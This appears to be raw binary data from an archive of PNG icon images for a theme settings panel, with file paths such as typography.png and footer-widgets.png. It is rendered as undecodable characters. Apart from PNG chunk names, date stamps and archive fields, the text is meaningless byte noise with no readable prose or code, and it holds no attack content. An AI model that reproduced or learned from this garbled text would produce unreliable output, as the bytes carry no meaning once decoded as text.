AdU”éï£ø†-‰°2:wü8ín…nwHÈÍÝ7w—DܽklÝÈÈÊÈÊȲ·¾X¾qŠI[›££‹Ë°aD3gFEÅÄ?þ¼BA¤‘j¤éâÅÆÖû¤`ÿ¾ã†4zx8¦:«‡î+.6Ô«ã!ç‚a«wí2¶¾æs‹­HÞ·Ï 0$$4ôå—‰*+++«ªˆª«/]R*‰*Zß¼šHÛ¶©b%™òº°°*êOcÉܼ«øŽž‡Gùx{—ï’dúÓܹjOÏfY¨Ÿ_Wùˆ€ã*%™£|Uå/¹,<\&É”Õ>õ”±ë­»ØÙ¹ºÒ»wŸsΆ¬ª2ÔsŸ¸¾<ôp@€±õqå–êÖÊ AA†¯¿þê«ÑÑ€HtûvCÐÞ³r%ÀלxxÔ¼yˆcIxi÷îö­ÖYZÓÓ§•a’̱dmý``µ§t,táB~»(‚ æÇ’¸Q_|ADóØ€âbõtï^² æ# ‰ÔÒ(ù¬o¿å`Iduô(ãÀ23Mc0”)-UÅJ2Gª$cW`Wüø£FsñbC Eãúõ†ýì4™³ƒ‘‘ÆÖÇ]“]k¼aeeiiiiaxyyx¸¹zýÞ½ÙÙÑíÛwîìTßP§/â%RfA±#¼½ÍÞ@z[ô¼y†€y4–Æ’XL±†}„ £e<Ï"è4z%'C Ô75¡?ÉV%%U¨‡û ÷³³3äW_U†kVMŠœEÕ¤I8‚`„ªTl$ÆRæž=pe/ÁÉÑ2ä‰&&»» ­gÉl[^^Çv3ú@!•[wWÑ|¦åc66ÖÖVVcŒ155ýrˆ"Ú$­óì£P YLu¿ x—ÍgC ›O­lø¸ác33 dkX–Ûή³Ë ¼§È_Ô´i>"4ÔÔЧ,Îbq{¤.RÔï~—N‘ʽüÌ3ñ·À–"óòø|5»¹i“a7;Ì’Ï/Ò=戃ôž\ì;ú/Àº^½Œ®«³7z´Lð|^Þ‰@ûWß[={¶aâÀžG \u:}깨¬, °ú‰"^ßܬÖK2eµ99tŽ%±ˆ©SxèQQ°$ÜG‰xçÌ™ÁEŠˆ¢àêjÃ|„Öˆ§êÝfþí!"IK ö°0±h`Ñ"ƒ>²…†-ÎÊ2v>épàäò#±8>>6`y}¾sø²¼?¡þùOÞ—•L™â1P¹ô‡§/\x0¿èS“p3ç9s`G…ô×ÔT¶×iá… ˜sÌÍÈÐsúCܬ^` 0 ùÀã´"¾(»ªŠbhfLžŒxSfnnGþ¨˜zõêA›$×}ï÷¿ètÈáˆjjjjjj~ýW˜>Ϥ=“6ÜÏÁ¡c:è’5,àÜ9cë긴µiµZ-PTT\üëö ”üg™—ÚÆËËñ¼kã°;÷g Ý£×{ñ1vv J­æ>ÌàHc éqx#VçÏ×çÖ¾tþ__cÉèè,,,,ÌÍI“&L;ö× /+_WùB~¾Ò©ô]Õ±ÒÇÈÃOŠ/±Dövt´±õè0€­­µ5°jÕk¯ý˜ÂF³);v¸*]•®Ê´4c Ò0Œô—ÄÐãñ1÷ð!ždôpôpôpôpôpôpôpôpôpôpôpÄâωámgS' ]íîÎÞÏçq¿»Á”ºñ‹Ú ml66g3ëÒR³A,‡Yݸ‘¼uÈÿáÃV/ÂÙ­¶uµÞ³±àòeéž’ˆ’­¶«|‚@¥ð~oTÜœ98ÆCûìÖ­˜ÌÍ…Þ‚ˆÇï¿ü€§Þ¦£€Ô+ÀPxyñ‚ƒV7»˜Ù°gm?¬«+ÿo¯ZÿòÐÐÁcJ]N >uª³|‚~¦ãû†Ÿ/<[ÆÖ!B$¢ È0éÀˆ1 ÑmmÆÖÙ)±‡vÛÛSòYD` »Å]`²ÔÔ{;ïaüŒ¡«ïhñ;±—“ã.Qzž6 À[c—¸*/©¹|îõë(¥Z>t(àÓγt¿Ss \,,Œ]ÆGç,ZË¥‹D;†Ã’%t}}ì˜N ¸étˆcI,âåé¬ÜÝKÙ”MÙ»|,Ý63gæÌüù版ˆºv–À¿§<Ò+F¶:(HuE’)KOW¯—úÈí¾þZý¹t£|Xtô½×t{ØótE÷{€Jª¤Ê4Áš`Mðýo~ê’‰²¨%KXw‹iÆO, E P8ôDFRÒ`‘‘Q±YºZÞ²mÛ£ÖóÛ'6!AHrrUQÉdF©Å'²tùö66t—c_~ø!Ô†¢ÖV.o²æÈHZá±&°O°ÞÕÕ4 Ù?w®*ÖkPÀ’GWÏÜ=žçyžïFŽi˜†iVVœ‚SpŠÜ\H#Òˆââ”aÊ0e˜©©±+úq…Ì%µH$pÃW››³ƒ,‘^ÊÉq«WFŸT|óÍय़¾ä‰±˜í߲ʼnÙzýª#•.±íl›EÖð|ÃÎ;éå8N§Óé““³z¡—…Ž[Cr²u®u®uîÛo×øÖøÖø9Â8Æ1®¶–fÑ,š¥×ûtÉw']OßtrÒb÷'Kþøðú`zÊ4U£+€vôWhØÈ‘#+Îû|4ÊÇÑ‘»ñãJ“ í£±Ië;a€4 •]×hühŠ-îïÕÿÛ~O×Õ]hW´—¶÷ëwìX~þ©SÀ„ £Gÿ†HD ½ý½3„'és#šÔç¨}€G´ê‘×OeVùÉuuêg¥åÇwì |¼‰øÙ³ùBý9þs†×XoÐFµµa;¶ÁÂÖ¯P6f*Z7U:ÔUüò¥§äãCBØ|HàÛ»7½ät­‹ûË2×û5mØ`Ø‘’²yó_õõ7oÞºõÿVÿO,†{»º·$Sæ¶|¹J! ·öö÷—Œ7nÌ™ìþ'd6ˆTªÊJ@§‹‹KH‚ïpqÿ~÷ÍJׂ»¡¡†t÷.xß¾bh _G£±{/Æ–„í÷W:A íÁ˜–šŠd/_>xrɱ‚’ßÿEUÇ`ð·”Ï_·Û‘‹ñã;äâ]_ºÄ–âúöïO—PŒ¾66îîJeAAçÓÉŽGÁ.ÿãäcÙìçÇ ü|¨¨¨X~öuÅ-©41qíÚO? ‹±>!û³1~¼«kß¾ÀÊ•ÿºß°È½-Ê¥Â+°9|ú¬YT_„˜š2Oˆ©ÕR åCü÷¿x IW®°j^^µ ƒØM8oÙ¢Š•jäÖ“&µ{è?h/[¸ÐkIÙg§;ïc+·z¿çÿµÿmçª×­£8˜òÙÏ? êжj52©‘ÚßygЦ’é…º;ÕÓ$åò…55hb¡È±±éªÜ:cî‹ó/ǽ÷Ê+×Üëߺy->þÚ±kÖ7âú÷oñkyæ'¥øO÷ÂøãÎ;®êt«²ë¬êv˜™Z0¦°Dè,,à% ƒ)æÃ­±‘U‘ ÜÓÒhÈZ?kãF÷ͧ¹_¹bˆgh±,“}§ß±ƒ~`/²7d#)–W¯2€ÝŒŽv«/‰8©ÈÍ-KÒ`ïá!Ú¢oÓõÎ;ˆbŸ³æˆLÁ.|Âq¸‚j|T[ËòaÅþ¶víÉæÎmuÛ·ø]xRu]R._[[{ÏÎÎ]õüIÓ“BÅûÞ/ØÁO§ ~ðéÓlh¦\¹Â ¸É¨HI¡£­qú·¶nu߬^ZäÞØØU\Uì #U¶¶Xaªä²>û íìÛ?gr0+xž• ssq•̱í¹ç k'ACY¸^_Ù¬[¿^\w×ÇtFZÚVÃŽ³ÖÖNÏ÷ ð§kɃ(ÎÇÿXl1S»o„¡g*~niK±½ûa:Œ²¢¢T±?ÙøC‡ϬØþÔTš‚(T pp–~ÀgééÚÝ8lê»l™ôº2â8»{ ÀÌ?¾˜Â+a±„Éð]CÃ]ìÃâ¾¹äláÑ;D}ø£XîãƒyðÀ‡'Nt$¸ÃX:{¶é æ¡Ýµ`Á£.¦`#1в4§À¯¦æJ¾Ã^ÓÑãÆ¿b©lú‰ÅÈÇ,¤$'«ß’Ü»wï£Z!UüL…Z’ð½«+O,‰_SScx&Ï[±c,#6×ô–üòGÿFw‹Ëž}¦äƒ”„„Ž1Á÷èM™ ÛÏ¿Ýññ¼=Ž¢þömC>ÑQNÎå88Ð-|L 32h#Êq¶¡ÁýuekÁv'§ÎÎ'àÔ–RwùúèLqoÚõd2%p]³Æ½JI»Ö®í,™0|€;ÇÍm´{¦O·óos6y}ÁæÈÏáb||ÈŒ•ðñ{z„³¶¶6ÎŽ½FfyynU—¨Ðeß>cË0 ÿ u0n«å±<%tEXtdate:create2022-03-26T18:43:00+00:00šÕ*b%tEXtdate:modify2022-03-26T18:43:00+00:00눒ÞIEND®B`‚themepanel/assets/images/icons/quick-settings/typography.png000064400000007314151551031110020434 0ustar00‰PNG  IHDR@@úù­gAMA± üa cHRMz&€„ú€èu0ê`:˜pœºQ<bKGDùC» pHYs``ðkBÏtIMEæ&²k¿S »IDATxÚíœi\WÖÆŸSM‹²¨‰qAè [ƒÈ"*¸fA—ŒNQ£FQcŒ»HâÔ!¸b2Á3IF ®YÔqI"E@‘M „Ȧ‚±î:ï_ШÖF»ÿ_úW]÷ž{î©§îR·êztºÿ‹S²–nk­¬Äõªn¼þÃq‚'¡ÊÕAÄ[ µí°ž²GhjU¦ÒŒML”XªÜ%¿­YS0­`Z|•+µÉêÐáË_z¸wéÂ)Òâ‘‹ ÛžiQnl,7“·´ËÉáGá[¢?Úü±²âdIINjni>_ºtû R­<¥Tj»¾zîcýNÿ’Hè8ñ0NK)Q¥R™ªG©B\]KÇ\ý$Y‘—W—ÞÌ·ó¼î¼aƒe`×M=3UªØØ3gââ˜sssssskoÜ(<\x¸ð°±±¶ë§§a´g+îÎÖÖæV–A®ååfK:ëê»~}íy¡.å&¼b''3;Á&]:t°°07¿ÇÒ5\õ”‹Áƒ-ߺ¥íŠéiE”K('îìËóç18ÌÙ¹ö¼A]Ê5ô3½m` I3H’t&ÂÛ—»†è *UC Nÿ·½Ÿv;J·Iêó½z‰ÛÄbò50hh~]GXËcé‹[·*L¥-+ŽEGwM L |ü­i+öªTXÐÞ»×AãäÒe§M}Šºw—b¾wò¤øÛ“Ÿ±1@ƒCN=õ!ÒNþ0Þ¢ 2ŠºtéêTîî·ÆÇÇÇWVjª @¸°ë„ €­%“ö}ú ‰iUUO1†Ï4ìª6‘¤»¸p"­€_ddåÇ·oÊ||ñ߯©r4.z›y–­-÷ä ( ÛQ)/ŸþêÔ©§»ç‚ .Ÿ¹|–žn”©Ž3.ˆˆÀë4AüÕÙ;0М„¦›ø3¼!’ÉàLXrùòÓ ÛóC]ŸíñÕ+XÐGGM—£qP‚ù²µ5‚áo³³ŸN¸žkºaUj*ï°ÿI `9N¢EYYëÖ¦¦&&7”9ÓõDßr33Þ‹jò31¡dx^Mæ5(ivZ¾e´pp`Ac7îÝ1ÀåKÕSÆ_±réÒ¹.åå5ÄÛ« Ue2Í!ÞIÀ>'§±v²nõåîÎF’þ4dölÄ`6º¸PüŽ7»ta/|ƒà` æó¯W¯¶Œ5OOË€XËXËÛ·ëOf¤“eïÏù (¢®®ÈêŽmUUHÂeLËË£–Ø„O¢ó’<úzË›â¤ÀSIÅÅi¥3&‹gSS1‡z’Ÿ‘QæØnÝúöµ¶.^üí·¦w±u(ÙU²+Õ¯¢Âh­ÑÚV¹7$D‹X*“1¸%¢Ô+…¨ìlƒ•¯VÑ wy¥×ßBC9ŠáÚµ;G«Véô·÷ 3-€ž‡óܵ4W|¯0S Nâ‰IuúúC4¢ˆRX"^*Õvý4Íóׄà(qsƒãpZ©¬.TWT$6`/žzà"dc~^OÅ‹t¥{wmWOÓ<7ÈHqê•п?/&%Ë&M‚=çðêÝ»v§ú¥úUW?¶a/Ž ùÎ0G,V˜;}íí2z´¶ë«)š]ñb÷÷{çuêDmT_Òꈡ,{p{z¾Ámi›D‚HÀkÎÎø‚G°™üð9MÉÎÞ2FMõÇx`«ÕUÒO?­Ü¦ìØâ²x«ÙxÇŽ¬7Nzµš>O ;âãi 9öA¡q0ŽC^TTù“dyeQxxS7}Ö4ÍF̾¾¾¾IÖõÔÿæË¢£i"§ ƒ•[“+E=lç;ÃxÚÎiˆ/*ÂbÄSäºuR+áºäÖªUVÅI¿%•–6Õ¯ÚÍ™óB{ïï½àÀÛÕåQI@^äˆñõÅR:Q'²[=9߯HÌkÛÖ8Rm4ÏÛèë«íx×Òl96=½ ÀÊŠV¢ ÿœß¡qX?z4cû'I³TÖô¯ÚyÏ[º^|hüÆŽÍ ~z‹ßUVÒVŒA—æ÷r³€íÐl Ê„¾;_§ÍTH#šßÓXè5^†D©”äaXÜüÖšM€ËÞiRó÷ÜÜ6•¦-fâ4.@±n]f¸<ÊkõìÙÚöïqáV¤À`''Xà#EGkÛŸûi6¨Ý²EaîpÄ{¸YèÉ_Í™7:ŠڴѶ9~Æþ';ÉôqH€@$iÛ©»4ÔbSœ>èTRr2Þà>uª¶ýÑ#Ç´íÆÃ¨PÏ@IMMMÿêWkÞ|p³XžÏóyþó÷,\W íÜÉ-ZÔ^çÚÿïîzÆò»II—J2ÅË¢˜““››Ÿá4œ†wë¦ÈRd)²žá&Yǰ˜Ôe‘ë ¹œc(”Ϻ¹¡FÛóçkÏ×=¼2óµbO_ ƒdQ«“’ÈVØECÚµ“M±žd90•I& BåO·«”±ååÅË ®¹äå)+U} T²‚óYõ8ÛLëy"ì¦$Z+‘ð ¼Íó(ˆKàZZ H¨¿ss+þ%ûßÉKŠŠxzÙÞ§½Ëgææb4\ØìŠí)OAј *‰]ŸF_Œ‰EMTìø¬`b|*Á‚QACUÁ²a1+QvîûÆ!VØMðûfîÜ9÷üÎÌÞ¹sïà=ïyOã…jnLµ ÿP"3?¾)§åëK!èÃ9q\5,ƒÛ‘œlÙ"5:vXd¤²T’©¶9®z“&°à¸æÍë,x€<ù•EE–¿_ÿ_Üø­[•mw]¤Ï´ u•zz²Jú˜s²·¯«óC4ŸÈó•ðeZn¼6ðŠen®°¿VÜNµí–¸`i S–.}©%-‘ƒ_32,õS‹c+-,”í˜ZŽ:Ú©}—'&&¬ÓRï“óªÇÑu*«8mjjáu=#^G*Uv;j"¹oÛÌM-=`Š®íÛ¿¬<“Û¾þÚÊ6õ@¬Ó²eÂvµZ ·Á~8ª©!ÀÒ2556–jJúÛÿ¸=Ù³‡y3|Û§Ïm_»áÝ"ÛµS¶cjÂ[Uš(nŠÅ.X"[È_7ÎjdšÏe ÊÝ>lêÂüüȉsî{öðV kõ›ææ·}ítºuSWWv;jQ©øAÑ_S“"h7f‡„XLK]«3n\Íb‰­­›cOu<¿_í•OXÅä…p±˜–ðP #CÙ~© —)¯ipÙ˜ƒ%<ÊnÂQL^ Áì7¯æ­€FÁ} q˜õG·ùó•í—ZØâôôØu’ u`à+·«³Äoóç#£±½°PÙͨÅHŠÄ…À@ø½]5/ ‰½í"Wé¶m5·³[°ÂMwwêŠrä[X¤ùÄöß¾]Ù~©É fÍ\XÛ¶jéj8÷À@²„·÷ÓO«Úåæö´ %s£½VV¿eŠ£üƒ;Ò-ºLwî(»5IÿÜvÛÄ/¿d· ‰›îîué >u×S»0‹…±Ü¸8fMýÉK"Ágˆ<=ÑÈÇÔÚl! •ÉÈ Ž¬¤¸«èwÊŒŒ„Šö—ušv©ìRPðX³ô¤úšøx ED¦¦ƒ,SÓ§=QÆÌæÃN"0>¾©yË\ÊÍÏW¶ýuÁb‘;9uŠî±1ÈêÓ‡%B ^^(¥Åäc`€(´d¡99ˆFxI$´©J××>‘p ¡³¤l¼çE]Ý^v÷ u¿çoÌûhä¼ýcàk"ž%žå*ÕÖ.Ï¥ÜRñÈ‘ôOô¥_œ™ »_44”톂¤ÔÿË™ :8¯3‹£ûÍáÃÙ”M1TVÖPv4X—›¹:wì(×V,+;~â飭j×Ù€/‹‹)Ë`.“5”=JÇ«pÜÐJ±QS§–~ËÏ~Øåë¯õœÍ˜³óàÁ… Ù”póf}›Qï \ñ‚ðè #fËFp› …åú'¹Ÿ:Ààùú¶GeÈŽÓisÄaº§'7ŒÔèæîÝ"Žw¯~FÌýûpžgnòR~¶¹9†q¦ä¨¡1sæÔ©þþ€¥¥…ÅóO¯§KÎ\Z2gÎ¥Çt"¢SRêÝÞúæ Úöö4‰ìà²f Ë——òIææ(Œ²³ÙOÌÙáÃû÷) `Ô¤ €mo{Ê?£ÁŸê¢cGkëöíÎíì:tÂÃ##Ï&{L<3zWJÊVû ö+[DG+ÛηňµÑµg••̈j¿‹W*7šzã†D,]ºbņ ÀžÇûŽÿйCeÛõwEåÀÊÊÂÂܘ0aܸ‘#ÅÑö§§+Û®¿+*ÚÚÚÚZZÀ˜1£F ˆÿ-þ·qnà Œ46T.ÒÓ32îÜzõòô=øï®n?¶P½™FT¦(ðèÑ£G%%cŒ1ÈZÄþþIóæj—×;fäèÞ¥ §ËòØ ‰)›za½XÌV³NÐJNV¿Äë©_úî»ßšÿÖüW± NìP2*wxUôÓL.؇øøˆÎB‡? s2Æ.//¦Ž­ª¯ÅÐÂÄÙ³+‡q¼¼ìÚµVOijì?oÓFÙv«¹°¶¶ÖÔ¤  Š-[àŽóhqñ"æ”ÅËW¶k'-=™¼ÃÅ…kOÌÄÙMq›4å’ U)Û~UCå~^ÆÃ<¹•Î[[n'Š!nÕ Rtáö|÷ÌG6/íRI‰P.ßAÚ-Å/5Õ𚉯CÁ‘#Ckü«o_À®7?¿¾—x–ÃùîÝ…ÿïÍ]›ì£l¿¼)¹;ÍcAêfEEÂÿü}æÄÿª¯_WyÂz⤡!¼†«ÏŽ{]Œúš9Î5Š3£vÌ.:šûîø$*Ê`¯øfç¬þý•í—7¥ÎÈ|Òq [¢™™(Ä%=7w®=S®Ám_;»nÝÚµûm¢³³³³ŽNC,Ó•žMHÈÌÄ"v–-LHàÆ¢+n,[fPdÒÓ~U¿~Þf¬«·±±a/ñC‡òÙ³)’B3h-eÃñQXØëžOÿ®8Ê^Ýߟéã~à¾}Ì-)ø—_B™,+-6Ò%îJX˜Ðm(?~ttö º :ÖUO­H¿`ÓÏuì´iŠ»\6¦Ü¹ót~|5¤‹Iä³j-áy…"#ãq×ÒyçÏ¿«†ihhh<ÿJH;D;Fû3¹üÅRŒ)ÚðùÞcÆ £¨GÈét 2’bxÓ É½{¸^5ÖŽÉÌIGŽ4ŠÍ\±âUí0Üljj4 €K;iÍŽЂ )QQšR– å?hç^q“~éÛà4äåqƸßøùg½c­{Ú=²¶~÷’¿ˆàwAA—§:Uë&èXµ”lêÔšõÔê°(’öêé!à±…XôÙgµÊ=˜Ÿ%ÒcZòÁïªa66;ZX[·/[tδ‹ïqãÆªÐ•Xð\¹Â¡¿½ÖüÖ-ñ,±ƒ«Ôѱ,Œ­-»Ñ³'ÀeP¼©)™ò^IIù“ïê]ýâòe ÷•Îo-®p2y2f²î8¶q#6±Ö‡‡k{ˆ¾k±ĈßÏ—–™ôtv0€Ú2oÅž‹¹ÜQöÏ?ëÏ7Íuvþè£û9ž ÷î½ë DzŒ#zzÌ‘-d¡±±Ô ´g+žêÄh1mÛÆÖ’7‰õõ±î%P“ºæûW- ss` ¼»à8Žã8ÀÙÙÉÉÎà½øaü Æ0s0§vùܵ¹kãLJK±kðð§;na.½úy މíOÍK£©æa[ˆœ°°‚îF›E¢1c€Š¡ŠŠšÇUý$edöjì$í×¾¡2Eþùó˜É+OÒÝdjj'÷ð(*ÊɹvíÁƒwå'Š£DÒ»uËbZêÊ?Ò©j–ð¶:ß(þå:¦¦öÃçÍ£‰T@sƒ‚ا1ïC‡ &çNÐM=HHLH¬-|M ÎܵK,¸z•>bÑÛË 7ØeTZZjî`.ÜÕ£G͘ëδ´”ÝÞš¼ôžnêPs;{ÀÀ ­­)•+㵦0>=}zúôòò×=ÞpªÉ]‡MAAØÀ\±cî\ÖSYÀ®]²ÕÒy)“«ÛûÕëOQËÿô3gÏõ5 ttòóc ô@ðþý¥‡ù‹u÷í£Gj½™lóf€7|~c®Ì‰Z[שÃb,ªûø:VݿϦT½¯~CjÙ¢jm9sb ±(!°ã´¨ ¼ ¼mB›6¥¦ZMÔ¹”ßÀÇ]ºèïßs”~LîIs^Ö%2,w·[·íáŠåÓ§#á±i“l™t^ÊäiÓžºí-É’æ'­9tH¿È´À!Ëгd¾äµ~=ÛÉËef† ö¿yý̉5ÁˆÂB´ ÅäãæVeñsKÝj¶¼ZךÛkýX¬Kó‰3Ù¸QÔ†7æ¶m™œ7æg¬[Xèܹ쎉ڷoò«v|¾‡ÇÛ:¬.’IŠ´ÿèêÂKë‰FÔéÓÐ…3üúô@ž%%¤°ÒS§ ÕMû;®;öká8ƒsâYË·nE{ʤåÓ§3 ,Øèo¿-X&Ý–üÉ}Ýœ³ÉæÁÁHc«YðŠ˜1õ}ûÇEÁï‚‚.OuªÖMÐQе–gê:A;á±NÙÙ þ$ïø\b… –ÇÄ2™ÕÁk×.\ÈÌl½#!!!áÉ“wí¸¼¼ü|™ ˜õŸKm7lÀ ta¬;ä´|¹LWz6eîœên廾&ú¹£R<¾ú [Ñ SöìyÛú¿ :ºûÝëªGå:™™ÙÙÀøñŸ>oP%ï_áÜ¢Α) í×/jÎO)7Oœ(¢lJ¡‡e.FÛÕV €ƒ0ê={¨|iÝ7ß䉯͸}?‘9~ú)ö°+lÐ×_ˤùÉË,x{KßÆÈ‹Oeêo’çë¢2œ|õjZ0eÊóY&- Hó㌲¡9ß§ô»x±ö‘U½ô;éÁdÃñãY+,Æ—óçS À£¶mYû‚%eg«ýƒo¢1iËe·SÕP™Ø²eÇŽýûV­Z¶ÔÕvíÚº5(ø¸‰ïg^ ²²^µÙM©òÈ+øP¬b=FB3šŒŒ*{‹ú˵ãâô»¶~dßáY€ÆŽÊ€M‡Àöí›6­X=Ù~}îÛH»¥ø…†rKø<–Õ£ÒÙ< iÖŒ'2¦îqqF¬ ³g=z(»ÝÊFe`ÆŒ)SÆZ¶¬º¼+ò£ª†‚©‹h$Ï»¹±G,Œý;/ÿ‘òhYDÄŸ?=üýQ™¨oò£²Ë¯~‘•Åw,­, rq¡ë´— =s-YÛ·woÕøÀúõÕni4~i4 (Z8ôÖîââ‚…Òy-ìþùO|€ßض-[„ñÃÍâö‡ ‹Z•mo}Óèàyb¨²² EªHq™<™äÈ„ÇÌ™8BQð>¼<ˆ•Ÿ>mÔרoçÕ††Ê¶µ¾hÔð<ù¥êÉÁë×3o~ Åùø ËÉÝÞžVÿ‰k[µnÿï·BIeæž?ñâ•+@v¶Tz÷î³ígZÄ]:xpÕx|cø˜€Ó¬)õ:|úÔ«Æã>ã›)¦\¼h4פÂáÚ’%,Ú³ž¥¥¯[=ÿˆõÂj++UX4DüJîH|ò„6a FWÏÝ»Âq¬·ÆDEà´×WøàÁþi‡;Ö²åÔ@Ø<{6ÖÀN+~Áˆ(ƦV­˜ÚëÖa½Á<(Z„t`;Љ­*,DµÀÛ[$¢a” i«¯±8‰òÇ뻑õÌ 3på ÅàK½jn`D„POí•A­HF¹..èƒNp·´ÄxÃwûvlX(PZµ£*©iT 3,é×*šÀ­h{I¼Z¼¡¡ZºZ'rïÒ…ù³|~îÆÑ.Öëöí§÷°ñtÆÊ ÍÈ[{ô(±xp¿ddTõ9Õû`¹ÁŒ–ôëÇÔèWL’Ë1·Žà]¥S5G†£ìsú–¾pu­Zô'P“º®ìô UBd02¤®yéJG ^h«§Ç®h 0 bùO¾ÿÞ*%uÑ ’ØØT}4 à¶öè¡®%òâÚúúVµK3‹ŒD$.4kF~0@‡ãÇ-6¦®ŒÓ©­“¶¶nnuëòÖOìâ­§FqˆÞV¯I ߈já_»]Â7†^²°BiªúC‚/ß¼š· lÆŽb`n.›%.Š|¶~@eXPi¢‹k®r~O×C,S“Цç¾ÚÊÒ„Ö*~Pô‰h÷[ÕSsÃûGV;¦Ñ~8r ÷±¢YHµåËD98Šr6öOFèþÇò‘ w¡rJ¦ÚNs³˜5‹’ÉF×é¨ ’ý{y×íUQx"¦ÉŒ¦MƒµE÷?¹ózA“þ+—ãN•®¨ñáÈ÷¼ç=™ÿb„9©Íg#x%tEXtdate:create2022-03-26T18:33:14+00:00‹ l%tEXtdate:modify2022-03-26T18:33:14+00:00úV£ÐIEND®B`‚themepanel/assets/images/icons/quick-settings/footer-widgets.png000064400000014013151551031110021162 0ustar00‰PNG  IHDR@@úù­gAMA± üa cHRMz&€„ú€èu0ê`:˜pœºQ<bKGDùC» pHYs``ðkBÏ IDATxÚíœw\Sç÷Ç?O@†‚(£H+ $ ЊV‹ubªµvi]`q|¸v8PQA[qÔÖà¨X­RGµ*8ÀQHPn¥¢lHîùýoô«_jý}[ùVóþ'¯›ûœçžû<çžg†zhÞÞ鯧‡‡àsá,eÌh©†.uíŠQ,›­‹Ñûñ»¥%ŒügÞÂ@Z¤ÓA€Õ¬ÿ­[x`ræ û„lpzãÆ[ÜÕŽgZlÞ¬OÌq ¥&{ò;ó8¿×'Nd› nÞ<,fãacbÒp%ù’Â(Wㆠ^¶0àîü¢îÙÙ7n4˜>v;œ|3&M²·‹ýüˆì»ˆßóKÔé”úaøúüü=)ì©«;ÞúxëS¾4tùýˆˆ m+ÇùŽlÑÂÁÂÙÓoðavߊ—û×hør¶[à¼Ë7_©´}Çmi ªI“®d³€–àéi?V¼Ì÷^]ý ñDßZíJqòGëºk4FCÄÿ5+jVÔ¬wï†.Ü*Nœ´¿Ú¬™}ñ¾tæŒáƒ;)Îñ}oéÒ®ÝUçu~V­âé{gÀíO7egó~ùò¶mééD……ï¾;d‘ÚÊß9´Û;êTéqù[«V©¢ÿØr »K‡ÊF„„¨ÛJÊÍRÛKT²Ã……¼|¡:À?ÀßÚº>yU´×IùävíTÑÒyÚîÝêRy”R©º-)“¥'%]&_êD66/¼àþKkZÊÚ•yyñœÝVç~sª«_´'1 ÀénÝÐÓ`ô¦áG?æèH}¯Ú_ßhµ³gõÔÕiµNÃhÞÀ§ÀˆlŠÙÂëVVúì>ø€ÏøR¥WyNË–\rÈnÏÚ†,œ³²Ød>Õˆh_ÝÉdG³fr Žˆ0ȧxÏ ÚäàÀ¤QHÞ·f£ ‡mm)-÷™Œåxyé\µµµ¹b±^ªOŸ†ªÐç妙&ëtã ìÆ‰»ú…þöÅQj2³6 æ»7ßÄÏðÓO·JöhÁÿáVÜúhËÑwüxv6ÀW¼@СCP`²óÓÞƒµ&`7ÞÃŽ£©T‰iï¾K!òùèN Ú³gOÚ†Zie…±•íÞÍzëNc@ó„ƒjkBÑ,8<ü2µ¤NÔ¨/Ï騱à˰0š*ÔÚÚ²þHÁ™Ã‡Y ;À¼‚ƒñ3ÅAXUE[Ðw{õz–'ù_…@}qá‚὇Ð}–Âô߀bØjf{ˆáG$###2faaañ(!ÑիׯºöG†fÙ£6c¡@)|q­¬Œ±´´´4ÎðbãØR\,+3dð3¢™‹«+. ³œ°0Z„p‰ aƒéXuµ+#í#ëê ÏË#Gü\YiïBרÀÁÓ\:„€¾75e㑆kZ­ õÝl«ìšš†¨Äÿš@y¬¸ºÚPn·1‘:𙽍ç‹ê»!„††„ŒmÙ’ž]¹R\ #Âþý ïÄY:œu¦ggæÏâÁk×ÂIÙb1®ýµj àÁ>ǶßÑ‘~Ð_sÞµ\í/éémF¤dçܽûdú¼:IgY”­­©¿þšú¡+ÿê­oÆNàsRpØ«8¨ (Hm& —·ŒUEK‹‚ç´n]_ú¼E'²²¢Ñ¾M›²q”†«Z­Çˆ‚”ìœß¯ON’¦ŒÌß»gØ>ßágcó¬ƒ8¼>ªh‰BV>¢tí75]**ÜŽªwpð€>hG?KuoÙ÷óçÃòXæ¼yWÍò—-;H¨ùû?·`¾Ì—ù>Ý–¼l®’.•û ‚"ݵ2 ¤8X\»V{ïšvNH¨OÎsXþ·GKÊÊ81­• HWÑ„mHME+TkkæE4;#ƒ%Q)Þy§Qzã=¤°°p_®ôÊüÂÒ²6–âL5nÌfRkŽDüŽ7¥ÓHÆŒæÍ¹iäÀoÝj+l¥Sõêå¾\ýùÊÿÔ0.åð믑ˆiH*(@ ‹Çï>>ίÝ=W»9*ê¹ €|É—| {i™‹™™2ÅpÝE0œ†­X!Ý¢Œ<ÄÊËë+¸æ=/hS·nì(~eÇ,€ RȉØ-jAnŸî¦U¶Èêæ¶D™%Þ³G;þ†³™3šÚÔ±ö¦…{]Û÷Ê+ǶìØá¶,ïFæ;âm(á2s¦¡3¸ wÈ*)‰o¢êÓGºE©Œ¬­¥ž”‚-2ܘ ì‰}~ØNÛi{—.š¡š¡š¡Žƒ¿lP?œÃºü|ÃytŸý8k–*C¢'O™¢o"†òã¯Yç.ønáB¾×Ï”Ðbóܹn”Y–-Óh||:thÚTå/ '§¦j÷Z-¨e÷îé® 4ˆºr¦Ž¥Ž÷î©6KJå9«WçÓæÓfVVî—ó(sóœ98‹fP%%ÑNHPdbÂ$ìveá§ôØ„©¢¥E²f£F1FÃvñbþ>;Ž94¤ àÿß BáÚµ3™ÆlúôëŸ]ÿìúgŸ'þ§Só£ãÀ°Ãk˜¼x1-BZˆDzWž >-)–¯Û¿_½Ý»õ•bq¡­÷­àOƒ‚xË7 å[M¯ÎŸÏ÷òkop ºöûöa3ª‘úÑGàpãÍ̈Æqó&ÞañЙ›ÃŸ… jØ0!„qœÓž=ú6[$ø5*¯u™6 ‰P!ëÞ=¬E>&uè¿Êû”<ÙӳоíWÁmíí ;InÈßHOG Þa+Vò5§8~óMM%µ4ëÒ£‡#)ÂÒR¬bþ8ccS>¡bneÒýûV -§[DýÁyûi˜†i"‘þwΜºu;êvL™¢)×”kÊÏœÁ]ÜÅݪª†®ÆÿšRôîìo•™×NŸÖõ^¾ë›ÉÞÞt±¬{yxh¨`«klëvÑÑ:›ËŽEååô'˜?(uË~XljˆÁdæáï¦(ÂÉÂB–Aq¤èÞÝm¹22K¬V« ¼¶„,JQ&¸ËMËÈ õ¬ƒƒÏ—¼_7vàÀÖmss²s6nÔ{ôtÄè Ix‘»D=ºv%WÄ¡ýýûô KET¯^ü¨„F²HAÞ°a"eä±[·’‘R pÞg¾ÿË#í.\GŸoC&ûÓÕ}Ñ×Ò%(AIHØËtpSð~GKy/€‹<¬Êœw'èln]¸»ãÜ9, {˜ 